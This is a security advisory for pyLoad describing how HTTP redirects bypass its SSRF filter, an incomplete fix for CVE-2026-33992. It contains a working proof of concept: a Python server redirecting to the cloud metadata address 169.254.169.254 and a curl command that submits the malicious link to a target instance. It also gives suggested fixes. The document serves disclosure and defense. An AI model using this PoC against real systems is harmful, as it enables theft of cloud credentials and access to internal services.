GHSA-7gvf-3w72-p2pg pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)

• PyPI pyload-ng: <= 0.5.0b3.dev96 (no fix yet)

Summary The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address. Root Cause The SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL: dl_hostname = urllib.parse.urlparse(dl_url).hostname if is_ip_address(dl_hostname) and not is_global_address(dl_hostname): self.fail(...) else: for ip in host_to_ip(dl_hostname): if not is_global_address(ip): self.fail(...) After the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects: self.c.setopt(pycurl.FOLLOWLOCATION, 1) self.c.setopt(pycurl.MAXREDIRS, 10) No `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely. PoC Redirect server (attacker-controlled): from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://169.254.169.254/metadata/v1.json") self.end_headers() HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever() Submit to pyload (requires ADD permission): curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \ -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect' The SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder. Impact An authenticated user with ADD permission can access: • Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity • Internal network services (10.x, 172.16.x, 192.168.x) • Localhost services (127.0.0.1) This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required. Suggested Fix Disable automatic redirect following and validate each redirect target: # In HTTPRequest.__init__(): self.c.setopt(pycurl.FOLLOWLOCATION, 0) Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols: self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS) And add a pycurl callback to validate redirect destination IPs before following. Resources • CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.